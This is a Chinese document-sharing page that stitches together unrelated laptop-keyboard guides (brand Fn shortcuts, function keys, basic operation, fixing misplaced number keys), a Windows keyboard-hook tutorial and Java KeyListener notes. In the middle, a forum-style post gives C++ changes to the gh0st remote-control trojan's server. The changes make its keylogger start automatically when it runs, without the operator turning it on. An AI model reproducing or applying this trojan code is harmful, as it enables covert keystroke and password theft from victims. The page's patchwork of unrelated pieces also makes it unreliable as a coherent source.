各种笔记本电脑键盘切换键FN键的方法 神舟笔记本键盘的:R.T.F.G.V.B键都打不出来字,打出来就是数字,切换方法: 数即开启/关闭数字小键盘的方法:按下fn键+insert键(按下fn键的同时按下insert键)或者fn键+NumLOcK键(按下fn键的同时按下NumLOcK键)fn 键在键盘的左下角;另外两个键在键盘的右上角部位或左上角部位。 常见品牌笔记本电脑与投影仪图像切换功能键列表: IBM FN+F7:屏幕切换(只有在有外接的显示器时有用) 联想Leovo FN+F3:显示器切换 华硕ASUS FN+F10:切换显示器 夏普SHARP FN+F3:显示器切换(FN+F5) 戴尔Dell FN+F8:切换显示器 三星SAMSUNG FN+F4:切换显示器(P25为:FN+F7) 惠普HP FN+F4:切换显示器 东芝TOSHIBA FN+F5:切换显示器 NEC FN+F3:切换显示器 笔记本电脑Fn之用法集锦 笔记本的FN键和Ctrl键一样,都是组合键。当和其他键使用时产生强大的功能。FN可以与那些键组合使用呢?产生什么功能呢?现在为你逐一介绍! FN组合键---IBM篇 每个牌子的的FN组合键都不相同,今期我们先介绍IBM牌子的FN组合键及其功能! FN+F3:关闭屏幕显示,触动鼠标或任意键可以重新打开屏幕。 FN+F4:将系统设置待机状态。 FN+F5:打开/关闭无线通讯功能(只可以在WINDOWS下使用) FN+F7:屏幕切换(只有在有外接的显示器时有用) FN+F8:拉申或者停止拉申屏幕(在分辨率小于最大分辨率时使用) FN+F12:将系统设置休眠状态 FN+HOME/END:增加/减低屏幕亮度 FN+PAGEUP:打开屏幕顶部的ThinkLight照明灯 FN+空格:降低屏幕分辨率(只有在WINDOWS下有效) 注:FN+F5则是自T40和X31起新增的功能,按下之后会出现ThinkPad风格的无线设备开关界面,允许你选择无线网卡和蓝牙设备的开关,对于没有安装蓝牙模块的机型,则蓝牙选项不会出现,如果连无线网卡模块也没有,则这个界面不会出现,按下FN+F5不会有任何反应 FN组合键---联想LEOVO篇 联想的FN组合键比较简单,但是它的图标表示比较有个性,即使是笔记本老手都有可能看不懂某些快捷键的图表哦。

gh0st远控服务端直接开启键盘记录

gh0st远控服务端直接开启键盘记录 闲时玩远控,私下有很多站友想在gh0st服务端运行的同时开启键盘记录,苦于对代码不熟,到处求人,还让人给拿一把,我在这里给出实现方法,希望对gh0st爱好者有所帮助。在KeyboardManager.cpp的bool CKeyboardManager::StartHook()方法中,有这样一段代码: ZeroMemory(m_pTShared->str, sizeof(m_pTShared->str)); GetSystemDirectory(m_pTShared->strRecordFile, sizeof(m_pTShared->strRecordFile)); lstrcat(m_pTShared->strRecordFile, "\\keyboard.inf"); //keyboard.inf是自己给的记录文件名// 文件存在,就开始离线记录开启 if (GetFileAttributes(m_pTShared->strRecordFile) != -1) m_pTShared->bIsOffline = true; else m_pTShared->bIsOffline = false;从这段代码可以看出,服务端启动后,自动判读有没有keyboard.inf这个文件,如果有,就自动开启离线记录,如果没有就默认没有开

启键盘记录。我们在类构造的时候加上如下代码:char strRecordFile [MAX_PATH]; GetSystemDirectory(strRecordFile, sizeof(strRecordFile)); lstrcat(strRecordFile, "\\keyboard.inf"); if (GetFileAttributes(strRecordFile) == -1) { HANDLE hFile = CreateFile(strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); CloseHandle(hFile); }在类初始化的时候,我们判读有没有键盘记录文件,如果没有,则自动创建一个新的键盘记录文件,服务端就会默认开启键盘记录了,这样就不用特意再打开服务端控制。 当然单单这样还是不够的,代码中的实现是在连接到控制端以后,为此,我们只需要创建一个单独的线程,只要服务启动后,自动启动键盘记录,类似代码如下:if (CKeyboardManager::g_hInstance != NULL) { ... HANDLE hKeyboadThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_HookKeyboard,

笔记本电脑键盘功能详解复习课程

笔记本电脑键盘功能详解 F1: 如果你处在一个选定的程序中而需要帮助,那么请按下F1。 如果你正在对某个程序进行*作,而想得到Windows帮助,则需要按下Win+F1。按下Shift+F1,会出现"What's This?"的帮助信息。 如果现在不是处在任何程序中,而是处在资源管理器或桌面,那么按下F1就会出现Windows的帮助程序。 F2:如果在资源管理器中选定了一个文件或文件夹,按下F2则会对这个选定的文件或文件夹重命名。F3:在资源管理器或桌面上按下F3,则会出现“搜索文件”的窗口,因此如果想对某个文件夹中的文件进行搜索,那么直接按下F3键就能快速打开搜索窗口,并且搜索范围已经默认设置为该文件夹。同样,在Windows Media Player中按下它,会出现“通过搜索计算机添加到媒体库”的窗口。 F4:这个键用来打开IE中的地址栏列表; 要关闭IE窗口,可以用Alt+F4组合键。 F5:用来刷新IE或资源管理器中当前所在窗口的内容。 F6:可以快速在资源管理器及IE中定位到地址栏。 F7:在Windows中没有任何作用。不过在DOS窗口中,它是有作用的,试试看吧! F8:在启动电脑时,可以用它来显示启动菜单。有些电脑还可以在电脑启动最初按下这个键来快速调出启动设置菜单,从中可以快速选择是软盘启动,还是光盘启动,或者直接用硬盘启动,不必费事进入BIOS 进行启动顺序的修改。另外,还可以在安装Windows时接受微软的安装协议。 F9:在Windows中同样没有任何作用。但在Windows Media Player中可以用来快速降低音量。 F10:用来激活Windows或程序中的菜单,按下Shift+F10会出现右键快捷菜单。和键盘中Application 键的作用是相同的。而在Windows Media Player中,它的功能是提高音量。 F11:可以使当前的资源管理器或IE变为全屏显示。 F12:在Windows中同样没有任何作用。但在Word中,按下它会快速弹出另存为文件的窗口。

笔记本电脑基本操作

笔记本电脑基本操作 一、启动与退出 1.启动(开机):(POWER) 启动分为冷启动和热启动两种方式。 冷起动指插上电源进行对电脑开机的整个过程,它要扫描和调用较多的程序。打开显示器源,再打开主机电源的这种方式就是冷起动。 要使用电脑第一步就是开机,操作步奏如下: (1)打开电脑的电源 (2)电脑开始进行开机自检和系统引导 (3)进入Windows XP操作桌面,如下图所示 热起动则是指在电脑使用着的过程中,因某种原因,如卡机等需要在没有关闭主机电源时重起动电脑,热起动只要检测少量程序即可。快捷键ctrl+alt+del键或按主机上的RESET按钮都可以实现热启动。

2.退出(关机):开始/关闭计算机/选择“关机”/确定 操作如下: (1)关闭正在运行的所有应用程序 提示:在关机前,应该保存在各应用程序中完成的工作并关闭这些应用程序,这是个好习惯。这样可以保证操作系统正常退出,并最大限度地避免由于推出系统而发生的数据丢失。 (2)单击按钮,打开[开始]菜单 (3)选择命令,打开如图所示的对话框 在弹出的关闭对话框中有三个选项,分别为待机,关闭和重新启动。其中待机模式主要为了节电,该功能使你可不需重新启动计算机就可返回工作状态。待机模式可关闭监视器和硬盘、风扇之类设备,使整个系统处于低能耗状态。在你重新使用计算机时,它会迅速退出待机模式,而且桌面(包括打开的文档和程序)精确恢复到进入等待时的状态。如要解除等待状态并重新使用计算机,可移动一下鼠标或按键盘上的任意键,或快速按一下计算机上的电源按钮即可。 (4)单击,笔记本电脑自动关机。

3.重新启动 (1)单击[开始]菜单(操作同关机类似) (2)选择[关闭计算机]命令,单击[重新启动]按钮。当电脑出现死机,无法用上面的方法重启时,按主机面板上的RESET按钮。 提示: A一般不建议用此方法,因这样不能保证正在运行的程序正常推出,有可能造成某些程序无法正常运行或数据丢失、损毁等不可预测的后果。 B 有些程序安装后也要求重新启动电脑,此时按提示进行操作即可。 二、界面组成 1、桌面背景:衬托图标,可人为修改 2、图标:程序对应的标志 图标和程序的关系相当于导火线和火药包的关系。点燃导火索会引爆火药包。而对图标进行双击则会打开该程序。 3、任务栏:存放快捷工具及辅助按钮 任务栏自左向右依次显示开始按钮、快速启动按钮、已打开的窗口图标及一些辅助工具按钮 三、鼠标的基本操作 鼠标的基本操作包括:单击、双击、右击、拖动和滑动滚轮。 1、单击:按左键一次,一般用于选定对象 2、右击:按右键一次,弹出快捷菜单 3、双击:连续、快速按左键两下,打开对象 4、拖动:按住左键(右键)移动鼠标

钩子函数捕捉键盘消息

利用钩子函数来捕捉键盘响应的windows应用程序一:引言: 你也许一直对金山词霸的屏幕抓词的实现原理感到困惑,你也许希望将你的键盘,鼠标的活动适时的记录下来,甚至你想知道木马在windows操作系统是怎样进行木马dll的加载的…..其实这些都是用到了windows的钩子函数。因此本文将对钩子函数的相关知识进行阐述。当然,本文的目的并不是想通过此程序让读者去窃取别人的密码,只是由于钩子函数在windows系统中是一个非常重要的系统接口函数,所以想和大家共同的探讨,当然本文也对怎样建立动态连结库(DLL)作了一些简单的描述。(本文的程序为vc6.0的开发环境,语言是:C和win32 api)。 二:钩子概述: 微软的windowsX操作系统是建立在事件驱动的机制上的,也就是通过消息传递来实现。而钩子在windows操作系统中,是一种能在事件(比如:消息、鼠标激活、键盘响应)到达应用程序前中途接获事件的机制。而且,钩子函数还可以通过修改、丢弃等手段来对事件起作用。 Windows 有两种钩子,一种是特定线程钩子(Thread specific hooks),一种是全局系统钩子(Systemwide hooks)。特定线程钩子只是监视指定的线程,而全局系统钩子则可以监视系统中所有的线程。无论是特定线程钩子,还是全局系统钩子,都是通过SetWindowsHookEx ()来设置钩子的。对于特定线程钩子,钩子的函数既可以是包含在一个.exe也可以是一个.dll。但是对于一个全局系统钩子,钩子函数必须包含在独立的dll中,因此,当我们要捕捉键盘响应时,我们必须创建一个动态链接库。但是当钩子函数在得到了控制权,并对相关的事件处理完后,如果想要该消息得以继续的传递,那么则必须调用另一个函数:CallNextHookEx。由于系统必须对每个消息处理,钩子程序因此增加了处理的负担,因此也降低了系统的性能。鉴于这一点,在windows ce中对钩子程序并不支持。所以当程序完成并退出时,应当释放钩子,调用函数:UnhookWindowsHookEx。 下面我们将举一个例子(捕捉键盘)来详细的讲解钩子函数的程序设计。 三:程序的设计: I:设置钩子 设置钩子是通过SetWindowsHookEx ()的API函数. 原形: HHOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hMod,DWORD dwThreadId) idhook:装入钩子的类型. lpfn: 钩子进程的入口地址 hMod: 应用程序的事件句柄 dwThreadId: 装入钩子的线程标示 参数: idHook: 这个参数可以是以下值: WH_CALLWNDPROC、WH_CALLWNDPROCRET、WH_CBT、WH_DEBUG、WH_FOREGROUNDIDLE、 WH_GETMESSAGE、WH_JOURNALPLAYBACK、WH_JOURNALRECORD、WH_KEYBOARD、WH_KEYBOARD_LL、

笔记本键盘按键错乱

笔记本键盘按键错乱,笔记本按键错位的解决方法 今天我的笔记本键盘按键突然失灵,键盘数字与字母错位,U变成4,I变成5,O变成6,J变成1,K变成2,L变成3,M变成0,就这几个字母,弄得我打不出字来。上网查了一下,才知道原来是启用了一个键盘的功能键,启动了笔记本上的小键盘。变换的键就是我笔记本上设定的小键盘。于是按NumLk键之后,失灵的那些键就都恢复了。(有的笔记本是按Fn+NumLk或者Shift+Numlk) 后来想了一下,我以前自带键盘输入都好好的,只是昨天一个很好的朋友过来了,他有一个无线键盘鼠标,拿到了我的笔记本上面试用,第二天笔记本自带的键盘就出现了输入数字与字母错位的这个情况。我想可能是外置键盘跟笔记本自带键盘发生的冲突,然后就自动启动了外置键盘,所以按Fn+NumLk功能键就恢复了,这个方法对于那些笔记本自带键盘然后用外置无线键盘或USB外置键盘,造成的键盘按键数字与字母失灵错位的问题解决有效可行。 相关资料: Fn键的功能就是笔记本键盘一个组合功能键,用它和一些特定的键配合,可以快速实现一些常用操作,例如:音量调整、屏幕亮度调整,小键盘区开启等功能,方便大家使用。 Fn键和Ctrl,Alt,Shift键一样,总要和其他键一起按下。比如笔记本电脑键盘没有台式机键盘的数字小键盘,于是用一部分字母键代替数字小键盘,当按下numlock键打开数字键盘功能后,按Fn+M相当于数字0,按Fn+J,K,L相当于数字1,2,3,按Fn+U,I,O,P相当于4,5,6,*等等。这是通用的组合,有些笔记本上还有一些本品牌特别设计的组合,只有安装了驱动程序才起作用,比如在Dell笔记本上按Fn+Esc使系统休眠,Fn+F10弹出光驱,Fn+上箭头提高屏幕亮度,在IBM笔记本上按Fn+F2打开/关闭屏幕显示等等。具体那种笔记本键盘的Fn实现那种功能,键盘上一般有标注。Fn键一般是蓝色的,那么当其他键上有蓝色的标注时,例如刚才说的J,K,L键上标着蓝色的1,2,3字样,那么按Fn 加那个键就能打出上面标为蓝色的字符,或者实现相应的功能。 各厂商的Fn组合定义是不一样的,不过Fn组合键的功能一般都是硬件级的支持,不装驱动就可以使用,不过有些功能也需要软件支持如休眠。具体的组合及对应的功能可以参考你的说明书,没有说明书也可以去官方网站下载。如果嫌麻烦也可以直接看键盘按键尝试。一般特定功能都定义在F1~F12,键帽上印有具体功能的图示。如:印有扬声器的表示音量调整(一般有三个,增大、减小、静音切换),印有太阳的是亮度调整(一般有两个、增亮、减暗),印有月亮的是休眠。不同品牌图示稍有不同,功能键位置也可能有差异。功能多少也不完全一样键盘右手区的小键盘区可以通过Fn和NumLock的组合开启,开启后,可以模拟标准键盘的小键盘区,方便财务工作者或其他对数字输入需求很大的人,不过此时被占用的键就不能正常输入原有字符了,直至关闭小键盘区为止。

键盘监听器与鼠标监听器

键盘监听器 键盘监听器KeyListener用来监听键盘事件。键盘事件有三种:KEY_PRESSED键按下了,KE Y_RELEASED键松开了,KEY_TYPED键按过了。每个键都有一个键码,普通键的键码就是ASC II码。键码可通过int getKeyCode()方法获得。Java设置了一种“虚拟键码”(Virtual K ey Code),用“VK_”作为前缀,例如VK_G。下面是某些特殊键的虚拟键码。 VK_LEFT/VK_RIGHT 左右方向键VK_CONTROL Ctrl键 VK_KP_UP 小键盘向上VK_ATL Alt键 VK_PAUSE 暂停键VK_SHIFT Shift键 VK_NUMBER0 小键盘数字0 VK_F1 功能键F1 VK_0 数字键0 VK_B 字母键B 虚拟键码对应的是键位,不区分大小写。要想知道大小写还必须查看修饰键(modifier key)。这由输入事件InputEvent的getModifere()方法得到,把返回值与常量SHIFT_MASK, CONT ROL_MASK, ALT_MASK比较,用以判定哪个修饰键处于“同时按下”状态。 监听器KeyListener有三个方法keyPressed(KeyEvent evt),keyReleased(KeyEvent evt), keyTyped(KeyEvent evt),分别用于相应事件发生后的处理。下面的例程中给自己的键盘监听器建立了showKeyEventMsg方法来显示按键信息。 除了getKeyCode()方法得到键码外,还可用getKeyChar()方法得到输入的字符,用getKey Text(code)方法得到输入的字符串。用isShiftDown()判断shift键是否被按下等。当按下Control键时getKeyText返回的是“ctrl",Alt和Shift也类似。 下面的例子演示得到键码和字符的方法,在命令行上显示结果。 例15 本例程演示键盘监听器后键码的用法。 /// // KeyEvt.java

相关文档
最新文档